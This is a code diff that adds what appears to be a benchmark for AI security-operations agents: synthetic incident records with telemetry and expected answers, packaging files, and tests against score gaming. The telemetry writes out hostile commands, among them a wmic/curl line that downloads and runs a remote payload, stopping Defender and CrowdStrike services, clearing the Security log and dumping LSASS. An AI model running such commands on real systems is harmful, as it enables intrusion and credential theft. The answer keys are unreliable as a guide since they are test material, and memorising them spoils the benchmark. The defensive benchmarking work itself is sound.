+ "username": "[email protected]"
+ },
+ "requestObject": {
+ "spec": {
+ "containers": [
+ {
+ "name": "x",
+ "image": "alpine",
+ "securityContext": {
+ "privileged": true
+ }
+ }
+ ],
+ "hostPID": true
+ }
+ },
+ "stage": "ResponseComplete",
+ "responseStatus": {
+ "code": 201
+ },
+ "node": "WIN-DC-SECONDARY"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/bin/sh",
+ "path": "/host/etc/shadow",
+ "hostname": "WIN-DC-SECONDARY",
+ "user": "root"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1611",
+ "T1082"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-182",
+ "provenance": "synthetic",
+ "title": "Linux SUID binary abuse on WIN-DC-SECONDARY",
+ "description": "Custom SUID binary discovered in /tmp on WIN-DC-SECONDARY; allows arbitrary command execution as root. Likely escalation by [email protected].",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Linux SUID binary abuse on WIN-DC-SECONDARY",
+ "severity": "high",
+ "template_id": "linux-suid-abuse"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "chmod",
+ "exe": "/bin/chmod",
+ "a1": "/tmp/.x",
+ "mode": "04755",
+ "hostname": "WIN-DC-SECONDARY",
+ "user": "[email protected]"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/tmp/.x",
+ "hostname": "WIN-DC-SECONDARY",
+ "uid": 1001,
+ "euid": 0,
+ "user": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1548.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-183",
+ "provenance": "synthetic",
+ "title": "Memory-only fileless implant in svchost on WIN-FILE-SHARE",
+ "description": "Process hollowing detected on WIN-FILE-SHARE: svchost.exe replaced with Cobalt Strike beacon to 192.168.1.100. No disk artefacts. Linked to ALPHV/BlackCat.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Memory-only fileless implant in svchost on WIN-FILE-SHARE",
+ "severity": "critical",
+ "template_id": "process-hollowing-svchost"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 8,
+ "Computer": "WIN-FILE-SHARE",
+ "SourceImage": "C:\\Windows\\System32\\powershell.exe",
+ "TargetImage": "C:\\Windows\\System32\\svchost.exe",
+ "StartFunction": "LoadLibraryW",
+ "NewThreadId": 4716
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "WIN-FILE-SHARE",
+ "Image": "C:\\Windows\\System32\\svchost.exe",
+ "DestinationIp": "192.168.1.100",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "ja3": "a0e9f5d64349fb13191bc781f81f42e1"
+ },
+ {
+ "source": "edr",
+ "rule": "Cobalt Strike beacon (process hollowing)",
+ "severity": "high",
+ "Computer": "WIN-FILE-SHARE",
+ "threat_actor": "ALPHV/BlackCat"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1055.012",
+ "T1620"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-184",
+ "provenance": "synthetic",
+ "title": "Indicator removal: Windows event log cleared on LIN-EDGE-VPN02",
+ "description": "Security event log cleared on LIN-EDGE-VPN02 by [email protected]. wevtutil.exe cl Security observed in command-line telemetry.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Indicator removal: Windows event log cleared on LIN-EDGE-VPN02",
+ "severity": "high",
+ "template_id": "event-log-cleared"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 1102,
+ "Computer": "LIN-EDGE-VPN02",
+ "SubjectUserName": "[email protected]",
+ "Channel": "Security",
+ "Description": "The audit log was cleared."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-EDGE-VPN02",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wevtutil.exe",
+ "CommandLine": "wevtutil cl Security"
+ }
+ ],
+ "expected_disposition": "suspicious",
+ "expected_techniques": [
+ "T1070.001"
+ ],
+ "expected_actions": [
+ "escalate",
+ "create_ticket",
+ "notify"
+ ]
+ },
+ {
+ "id": "INC-EVAL-185",
+ "provenance": "synthetic",
+ "title": "Disable security tooling on LIN-K8S-NODE01",
+ "description": "[email protected] attempted to stop Defender, CrowdStrike, and Sysmon on LIN-K8S-NODE01. Tampering telemetry triggered alert.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Disable security tooling on LIN-K8S-NODE01",
+ "severity": "critical",
+ "template_id": "disable-edr-tooling"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-K8S-NODE01",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop CSAgent"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-K8S-NODE01",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop WinDefend"
+ },
+ {
+ "source": "edr",
+ "rule": "EDR tampering attempt",
+ "severity": "critical",
+ "Computer": "LIN-K8S-NODE01",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1562.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-186",
+ "provenance": "synthetic",
+ "title": "LSASS memory dump on K8S-PROD-CLUSTER by [email protected]",
+ "description": "comsvcs.dll MiniDump observed on K8S-PROD-CLUSTER. lsass.exe memory dumped to C:\\Windows\\Temp\\. Mimikatz signatures detected.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "LSASS memory dump on K8S-PROD-CLUSTER by [email protected]",
+ "severity": "critical",
+ "template_id": "lsass-memory-dump"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 10,
+ "Computer": "K8S-PROD-CLUSTER",
+ "SourceImage": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetImage": "C:\\Windows\\System32\\lsass.exe",
+ "GrantedAccess": "0x1010",
+ "CallTrace": "comsvcs.dll+5d24|MiniDumpWriteDump",
+ "User": "[email protected]"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "K8S-PROD-CLUSTER",
+ "Image": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetFilename": "C:\\Windows\\Temp\\lsass.dmp",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1003.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-187",
+ "provenance": "synthetic",
+ "title": "Brute-force credential spray against [email protected] from 198.51.100.23",
+ "description": "Credential spray from 198.51.100.23 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Brute-force credential spray against [email protected] from 198.51.100.23",
+ "severity": "high",
+ "template_id": "credential-spray"
+ },
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "198.51.100.23",
+ "resultType": 50126,
+ "resultDescription": "Invalid username or password",
+ "appDisplayName": "Office 365 Exchange Online",
+ "attempt_count": 1500
+ },
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "198.51.100.23",
+ "resultType": 0,
+ "resultDescription": "Success",
+ "conditionalAccessStatus": "success",
+ "riskLevelAggregated": "high"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1110.003"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-188",
+ "provenance": "synthetic",
+ "title": "Kerberoasting from WIN-FIN-DB01",
+ "description": "Service account TGS tickets requested en-masse from WIN-FIN-DB01 by [email protected]. AES256 \u2192 RC4 downgrade observed. Mimikatz tooling indicators.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Kerberoasting from WIN-FIN-DB01",
+ "severity": "critical",
+ "template_id": "kerberoasting"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "MSSQLSvc/sql.example.com",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "WIN-FIN-DB01"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "HTTP/web01.example.com",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "WIN-FIN-DB01"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1558.003",
+ "T1021.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-189",
+ "provenance": "synthetic",
+ "title": "Active Directory DCSync from non-DC host LIN-OBS-LOGGER",
+ "description": "Replication rights abused from LIN-OBS-LOGGER by [email protected]. All domain NTLM hashes replicated. Severe credential exposure.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Active Directory DCSync from non-DC host LIN-OBS-LOGGER",
+ "severity": "critical",
+ "template_id": "ad-dcsync"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectServer": "DS",
+ "ObjectType": "domainDNS",
+ "Properties": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
+ "ClientIP": "LIN-OBS-LOGGER"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1003.006",
+ "T1078.002"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-190",
+ "provenance": "synthetic",
+ "title": "SAML golden-ticket: forged assertion targeting [email protected]",
+ "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 198.51.100.23.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "SAML golden-ticket: forged assertion targeting [email protected]",
+ "severity": "critical",
+ "template_id": "saml-golden-ticket"
+ },
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "198.51.100.23",
+ "resultType": 0,
+ "authenticationDetails": [
+ {
+ "authenticationMethod": "Federated",
+ "succeeded": true
+ }
+ ],
+ "tokenIssuerType": "ADFederationServices",
+ "tokenIssuerName": "forged-adfs.example.com"
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Add member to role.",
+ "UserId": "[email protected]",
+ "ModifiedProperties": [
+ {
+ "Name": "Role.DisplayName",
+ "NewValue": "Global Administrator"
+ }
+ ]
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1606.002",
+ "T1087.002"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-191",
+ "provenance": "synthetic",
+ "title": "Domain enumeration from AWS-EC2-PROD-API",
+ "description": "ldap discovery from AWS-EC2-PROD-API by [email protected]: BloodHound-style queries enumerating users, groups, ACLs.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Domain enumeration from AWS-EC2-PROD-API",
+ "severity": "medium",
+ "template_id": "ldap-bloodhound-discovery"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "AWS-EC2-PROD-API",
+ "Image": "C:\\Tools\\SharpHound.exe",
+ "DestinationIp": "WIN-DC-PRIMARY",
+ "DestinationPort": 389,
+ "User": "[email protected]"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectType": "user",
+ "AccessMask": "0x100",
+ "EventCount": 8400
+ }
+ ],
+ "expected_disposition": "benign",
+ "expected_techniques": [
+ "T1087.002"
+ ],
+ "expected_actions": [
+ "monitor",
+ "no_action",
+ "watchlist"
+ ]
+ },
+ {
+ "id": "INC-EVAL-192",
+ "provenance": "synthetic",
+ "title": "Network share enumeration on LIN-DB-REPLICA",
+ "description": "Mass SMB share enumeration from LIN-DB-REPLICA by [email protected]; net.exe and PowerShell Get-SmbShare invocations across /24 subnet.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Network share enumeration on LIN-DB-REPLICA",
+ "severity": "medium",
+ "template_id": "smb-share-enumeration"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-DB-REPLICA",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\net.exe",
+ "CommandLine": "net.exe view /domain"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 5145,
+ "Computer": "WIN-FILE-SHARE",
+ "SubjectUserName": "[email protected]",
+ "ShareName": "\\\\*\\*",
+ "IpAddress": "LIN-DB-REPLICA",
+ "EventCount": 256
+ }
+ ],
+ "expected_disposition": "benign",
+ "expected_techniques": [
+ "T1135"
+ ],
+ "expected_actions": [
+ "monitor",
+ "no_action",
+ "watchlist"
+ ]
+ },
+ {
+ "id": "INC-EVAL-193",
+ "provenance": "synthetic",
+ "title": "Pass-the-hash from WIN-EXCHANGE-01 to AWS-EC2-PROD-API",
+ "description": "Pass-the-hash lateral movement from WIN-EXCHANGE-01 to AWS-EC2-PROD-API by [email protected]. Golden ticket indicators present. Linked to Lazarus.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Pass-the-hash from WIN-EXCHANGE-01 to AWS-EC2-PROD-API",
+ "severity": "critical",
+ "template_id": "pass-the-hash-lateral"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "AWS-EC2-PROD-API",
+ "TargetUserName": "[email protected]",
+ "LogonType": 3,
+ "AuthenticationPackageName": "NTLM",
+ "IpAddress": "WIN-EXCHANGE-01",
+ "LogonProcessName": "NtLmSsp"
+ },
+ {
+ "source": "edr",
+ "rule": "Pass-the-hash indicators (NTLM hash reuse)",
+ "severity": "high",
+ "Computer": "AWS-EC2-PROD-API",
+ "Source": "WIN-EXCHANGE-01",
+ "User": "[email protected]",
+ "threat_actor": "Lazarus"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1550.002",
+ "T1558.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-194",
+ "provenance": "synthetic",
+ "title": "RDP lateral movement from WIN-DEVOPS-LT",
+ "description": "Anomalous RDP session from WIN-DEVOPS-LT ([email protected]) to MAC-CFO-LAPTOP outside business hours. Source admin not normal for MAC-CFO-LAPTOP.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "RDP lateral movement from WIN-DEVOPS-LT",
+ "severity": "high",
+ "template_id": "rdp-lateral-movement"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "MAC-CFO-LAPTOP",
+ "TargetUserName": "[email protected]",
+ "LogonType": 10,
+ "IpAddress": "WIN-DEVOPS-LT",
+ "LogonProcessName": "User32",
+ "EventTimeUTC": "03:14:00Z"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1021.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-195",
+ "provenance": "synthetic",
+ "title": "WMI lateral execution from WIN-FILE-SHARE to LIN-DB-REPLICA",
+ "description": "wmic.exe /node:LIN-DB-REPLICA process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 91.134.231.15.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "WMI lateral execution from WIN-FILE-SHARE to LIN-DB-REPLICA",
+ "severity": "high",
+ "template_id": "wmi-lateral-execution"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-FILE-SHARE",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wbem\\wmic.exe",
+ "CommandLine": "wmic /node:LIN-DB-REPLICA process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1047"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-196",
+ "provenance": "synthetic",
+ "title": "Bulk PII download by [email protected]",
+ "description": "[email protected] downloaded >10 GB of customer records from production database from LIN-K8S-NODE01. Outside normal access pattern.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Bulk PII download by [email protected]",
+ "severity": "critical",
+ "template_id": "bulk-pii-download"
+ },
+ "telemetry": [
+ {
+ "source": "db_audit",
+ "operation": "SELECT",
+ "user": "[email protected]",
+ "src_host": "LIN-K8S-NODE01",
+ "database": "prod_customers",
+ "table": "customer_records",
+ "rows_returned": 4200000,
+ "bytes": 10700000000
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1005",
+ "T1041"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-197",
+ "provenance": "synthetic",
+ "title": "Clipboard logging implant on WIN-PROD-WEB02",
+ "description": "Clipboard contents from WIN-PROD-WEB02 ([email protected]) being captured to %APPDATA%\\Local\\. Captures span 2 hours and include credentials and crypto addresses.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Clipboard logging implant on WIN-PROD-WEB02",
+ "severity": "high",
+ "template_id": "clipboard-keylogger"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 24,
+ "Computer": "WIN-PROD-WEB02",
+ "User": "[email protected]",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "Hashes": "SHA256=abc..."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1115"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-198",
+ "provenance": "synthetic",
+ "title": "DNS tunnelling exfiltration from WIN-PROD-WEB02",
+ "description": "DNS query volume from WIN-PROD-WEB02 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 203.0.113.45.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "DNS tunnelling exfiltration from WIN-PROD-WEB02",
+ "severity": "critical",
+ "template_id": "dns-tunnel-exfil"
+ },
+ "telemetry": [
+ {
+ "source": "dns",
+ "query_name": "aGVsbG8gd29ybGQK.exfil.203.0.113.45.in-addr.arpa",
+ "query_type": "TXT",
+ "src_host": "WIN-PROD-WEB02",
+ "dst_ip": "203.0.113.45",
+ "response_size": 512,
+ "qps": 240
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1071.004",
+ "T1048.003"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-199",
+ "provenance": "synthetic",
+ "title": "Cloud storage exfil: data egress to attacker-controlled S3 from K8S-PROD-CLUSTER",
+ "description": "Egress from K8S-PROD-CLUSTER to s3://atk-stage-45.142.122.111/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Cloud storage exfil: data egress to attacker-controlled S3 from K8S-PROD-CLUSTER",
+ "severity": "critical",
+ "template_id": "s3-exfil-cloud-storage"
+ },
+ "telemetry": [
+ {
+ "source": "cloudtrail",
+ "eventName": "PutObject",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "userIdentity": {
+ "type": "IAMUser",
+ "userName": "[email protected]"
+ },
+ "sourceIPAddress": "K8S-PROD-CLUSTER",
+ "requestParameters": {
+ "bucketName": "atk-stage-45.142.122.111",
+ "key": "dump/customers.tar.gz"
+ },
+ "resources": [
+ {
+ "ARN": "arn:aws:s3:::atk-stage-45.142.122.111/dump/customers.tar.gz"
+ }
+ ]
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1567.002"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-200",
+ "provenance": "synthetic",
+ "title": "Personal Drive exfil by [email protected]",
+ "description": "[email protected] on LIN-K8S-NODE01 uploaded 4 GB to personal Google Drive. Files include source code and customer PII.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Personal Drive exfil by [email protected]",
+ "severity": "critical",
+ "template_id": "personal-drive-exfil"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://www.googleapis.com/upload/drive/v3/files",
+ "status_code": 200,
+ "src_host": "LIN-K8S-NODE01",
+ "src_user": "[email protected]",
+ "bytes_out": 4300000000,
+ "file_count": 812
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1567.002",
+ "T1005"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ }
+ ]
+}
diff --git a/packages/aisoc-benchmark/pyproject.toml b/packages/aisoc-benchmark/pyproject.toml
new file mode 100644
index 000000000..f2dd53869
--- /dev/null
+++ b/packages/aisoc-benchmark/pyproject.toml
@@ -0,0 +1,21 @@
+[build-system]
+requires = ["hatchling"]
+build-backend = "hatchling.build"
+
+[project]
+name = "aisoc-benchmark"
+version = "0.1.0"
+description = "Grade any SOC agent on a common corpus: accuracy, hallucination rate, containment, calibration and cost."
+readme = "README.md"
+license = { text = "MIT" }
+requires-python = ">=3.11"
+dependencies = ["httpx>=0.27,<0.29"]
+
+[project.scripts]
+aisoc-benchmark = "aisoc_benchmark.cli:main"
+
+[tool.hatch.build.targets.wheel]
+packages = ["aisoc_benchmark"]
+
+[tool.hatch.build.targets.sdist]
+include = ["aisoc_benchmark", "corpus", "README.md"]
diff --git a/packages/aisoc-benchmark/pytest.ini b/packages/aisoc-benchmark/pytest.ini
new file mode 100644
index 000000000..2f4c80e30
--- /dev/null
+++ b/packages/aisoc-benchmark/pytest.ini
@@ -0,0 +1,2 @@
+[pytest]
+asyncio_mode = auto
diff --git a/packages/aisoc-benchmark/tests/test_benchmark.py b/packages/aisoc-benchmark/tests/test_benchmark.py
new file mode 100644
index 000000000..4a0b93cf9
--- /dev/null
+++ b/packages/aisoc-benchmark/tests/test_benchmark.py
@@ -0,0 +1,322 @@
+"""The benchmark must be gameable in no direction that matters.
+
+A benchmark's value is entirely in what it refuses to reward. These tests
+are mostly about the ways a scoring harness quietly hands out credit:
+
+* abstaining to raise accuracy
+* citing indicators nobody can check
+* returning a crash that scores as a wrong answer rather than a crash
+* self-reporting a flattering latency
+* publishing a figure without saying the corpus was synthetic
+
+Each of those is a way for a vendor to look better than they are, and the
+benchmark is only a standard if it closes them.
+"""
+
+from __future__ import annotations
+
+import json
+from pathlib import Path
+
+import pytest
+from aisoc_benchmark.adapter import AgentVerdict, BenchmarkIncident, HTTPAgent
+from aisoc_benchmark.metrics import (
+ aggregate,
+ is_checkable_indicator,
+ score_incident,
+)
+from aisoc_benchmark.runner import CorpusError, format_report, load_corpus, run_benchmark
+
+INCIDENT = BenchmarkIncident(
+ incident_id="INC-1",
+ title="Suspicious PowerShell on WS-42",
+ description="cmd.exe spawned from a macro; beacon to 203.0.113.9",
+ severity="high",
+ raw_alert={"host": "WS-42"},
+ telemetry=[{"process": "powershell.exe", "dest_ip": "203.0.113.9"}],
+)
+TRUTH = {
+ "disposition": "malicious",
+ "techniques": ["T1059.001", "T1566.001"],
+ "actions": ["block_ip", "isolate_host"],
+}
+
+
+class StubAgent:
+ name = "stub"
+ version = "1.0"
+
+ def __init__(self, verdict: AgentVerdict | Exception) -> None:
+ self._verdict = verdict
+ self.calls = 0
+
+ async def investigate(self, incident: BenchmarkIncident) -> AgentVerdict:
+ self.calls += 1
+ if isinstance(self._verdict, Exception):
+ raise self._verdict
+ return self._verdict
+
+
+def corpus(tmp_path: Path) -> Path:
+ path = tmp_path / "corpus.json"
+ path.write_text(
+ json.dumps(
+ {
+ "incidents": [
+ {
+ "id": "INC-1",
+ "provenance": "synthetic",
+ "title": INCIDENT.title,
+ "description": INCIDENT.description,
+ "severity": "high",
+ "telemetry": INCIDENT.telemetry,
+ "expected_disposition": "malicious",
+ "expected_techniques": ["T1059.001"],
+ "expected_actions": ["block_ip"],
+ }
+ ]
+ }
+ )
+ )
+ return path
+
+
+class TestAbstentionCannotBuyAccuracy:
+ def test_accuracy_is_over_answered_incidents_only(self) -> None:
+ """Dividing by the whole corpus lets an agent score higher by
+ abstaining more, which is the opposite of what we want to reward."""
+ answered = score_incident(INCIDENT, AgentVerdict(disposition="malicious"), TRUTH)
+ abstained = score_incident(INCIDENT, AgentVerdict(abstained=True), TRUTH)
+
+ result = aggregate("a", "1", [answered, abstained])
+ assert result.disposition_accuracy == 1.0
+ assert result.abstention_rate == 0.5
+
+ def test_abstention_rate_is_published_beside_accuracy(self) -> None:
+ """So the two cannot be traded off invisibly."""
+ scores = [score_incident(INCIDENT, AgentVerdict(abstained=True), TRUTH)] * 4
+ result = aggregate("a", "1", scores)
+ assert result.abstention_rate == 1.0
+ report = format_report(result)
+ assert "abstention rate" in report
+
+ def test_abstaining_is_not_scored_as_wrong(self) -> None:
+ """Punishing 'I do not know' trains agents to guess."""
+ score = score_incident(INCIDENT, AgentVerdict(abstained=True), TRUTH)
+ assert score.abstained
+ assert not score.disposition_correct
+ result = aggregate("a", "1", [score])
+ assert result.disposition_accuracy == 0.0
+ assert result.incidents == 1
+
+
+class TestHallucination:
+ def test_an_invented_indicator_is_caught(self) -> None:
+ """The single most dangerous thing an analyst-replacement can do."""
+ verdict = AgentVerdict(
+ disposition="malicious",
+ cited_indicators=["203.0.113.9", "198.51.100.77"],
+ )
+ score = score_incident(INCIDENT, verdict, TRUTH)
+ assert score.cited_checkable == 2
+ assert score.hallucinated_indicators == ["198.51.100.77"]
+
+ def test_indicators_present_in_evidence_are_not_flagged(self) -> None:
+ verdict = AgentVerdict(cited_indicators=["203.0.113.9", "WS-42"])
+ score = score_incident(INCIDENT, verdict, TRUTH)
+ assert score.hallucinated_indicators == []
+
+ def test_unverifiable_claims_are_not_counted_either_way(self) -> None:
+ """Scoring 'the process behaved suspiciously' would measure phrasing."""
